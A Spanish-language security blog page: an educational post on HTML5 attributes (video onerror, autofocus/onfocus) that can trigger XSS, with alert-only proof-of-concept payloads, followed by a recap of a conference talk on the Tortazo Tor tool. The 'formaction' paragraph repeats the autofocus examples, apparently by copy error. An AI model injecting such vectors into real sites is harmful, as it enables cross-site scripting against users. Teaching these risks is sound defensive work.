Etiquetas, atributos y eventos HTML5 inseguros

Algunos etiquetas de las especificaciones anteriores de HTML contienen atributos y eventos muy interesantes que permiten que un usuario pueda interactuar de una forma mucho más amigable con dichos elementos, sin embargo, muchos de los nuevos atributos y etiquetas en HTML5 permiten la ejecución de código JavaScript, algo de lo que se podría aprovechar un atacante para producir vulnerabilidades XSS o CSRF.

Ejemplo:
Hay varios atributos y etiquetas nuevas en HTML5 que permiten la ejecución de código JavaScript de forma nativa. Una de las más comunes, es la etiqueta “video” y su atributo “onerror” que se activará automáticamente cuando el recurso que debe cargar la etiqueta “video” no puede cargarse.

<video source onerror="javascript:alert(‘XSS’)">

El atributo “autofocus” que en HTML5 se encuentra disponible en todos los elementos HTML de entrada, también puede representar un problema cuando no se valida adecuadamente el valor del atributo “onfocus” en el momento en el que se recarga la página.

<input autofocus onfocus= alert(‘XSS’)>
<select autofocus onfocus= alert(‘XSS’)>
<textarea autofocus onfocus= alert(‘XSS’)>
<keygen autofocus onfocus= alert(‘XSS’)>
<keygen autofocus onfocus= write(‘XSS’)>
 

Otro atributo potencialmente peligroso es “formaction” de la etiqueta “form”, el cual también admite la ejecución de código JavaScript.

<input autofocus onfocus= alert(‘XSS’)>
<select autofocus onfocus= alert(‘XSS’)>
<textarea autofocus onfocus= alert(‘XSS’)>
<keygen autofocus onfocus= alert(‘XSS’)>
<keygen autofocus onfocus= write(‘XSS’)>
 

Existen varias etiquetas y atributos que son consideradas peligrosas si no se aplican las validaciones de datos adecuadas, para ver una lista mucho más completa, se recomienda visitar el sitio HTML5 Security Cheatsheet: https://html5sec.org/

En una próxima entrada, más sobre riesgos y vulnerabilidades cuando en el uso de las nuevas características implementadas en HTML5

Un saludo y Happy Hack!

Navaja Negra 4 Edición

octubre 6, 2014 Deja un comentario

El pasado 2 de octubre, junto con Ismael González (aka kontrol0) hemos presentado nuestra charlar sobre Tortazo. El evento, como muchos de vosotros ya sabéis, ha sido en la ciudad de Albacete y si has podido asistir o ver los comentarios de la gente en redes sociales como Twitter, has visto que ha sido todo un éxito. Nuestra charla fue la primera del evento, lo que ha sido todo un honor, además de ser muy ventajoso ya que hemos podido disfrutar plenamente de todas las charlas, sin la presión y los nervios acumulados de esperar tu turno. He conocido mucha gente que si bien, ya sabia de ellos por su trabajo y sus “identidades virtuales”, ha sido muy gratificante conocerles personalmente, me ha encantado conocer personas como Kio (@kioardetroya), Telmo (@t31m0), Kao (@MininaKaotika), Daniel García (@cr0hn), Pablo Burgueño (@pablofb), Alex (@ocixela), Pedro (@ocixela), Rafa (@R_a_ff_a_e_ll_o), Pablo González (@pablogonzalezpe), Sauron (@NN2ed_s4ur0n), Carlos (@charliesec), Miguel (@Miguel_Angelhak) entre muchos, muchos otros. Grandes profesionales, grandes personas que me han aportado varias ideas sobre cosas con las que tengo pensado ponerme en breve y de las que espero, poder hablaros en este blog. No suelo asistir a este tipo de eventos por motivos que no vienen al cuento, pero desde luego la filosofía de Navaja Negra me parece que va muy de la mano con lo que yo entendiendo que debería ser una comunidad de Hackers, es una conferencia en la que me pienso apuntar de ahora en adelante, ya sea como ponente o asistente. También me he sorprendido por el interés que ha demostrado la gente con mi libro sobre Python para Pentesters, ya que se ha agotado muy rápidamente y me resultaba curioso ver a la gente andando a mi lado con el libro bajo el brazo, sin saber que era yo el autor XD. Algunos lo sabían y se me acercaban para que les escribiera una dedicatoria, algo que me ha producido una sensación extraña, ya que soy un poco “tímido” con la gente que no conozco y me da un poco de corte ese tipo de cosas, de entrada no sé qué escribir, pero de verdad que agradezco a todos los que compran el libro y de esa forma, apoyan mi trabajo. En conclusión, han sido 3 días en los que hemos aprendido muchísimo y en los que también ha habido cabida para la fiesta y la diversión. Vamos, que recomiendo que os apuntéis para la próxima :-) Para la charla de Tortazo, tenia preparados algunos vídeos en el caso de que tener problemas a la hora de conectarnos con TOR, pero todo ha ido bien, así que en esta corta entrada, os dejo los vídeos que teníamos preparados para la presentación, espero que os gusten y si tenéis cualquier duda, comentario, sugerencia o lo que sea, ya sabéis que podéis escribirnos un mensaje a Isma o a mi. Saludos y Happy Hack.

Tortazo – Information Gathering

Tortazo – Botnet Mode

Tortazo – Onion Repository

Tortazo – Plugin: crawler

Tortazo – Plugin: Hidden Service

Tortazo – Plugin: Bruter

Seguir

Recibe cada nueva publicación en tu buzón de correo electrónico.

Únete a otros 1.077 seguidores

A %d blogueros les gusta esto: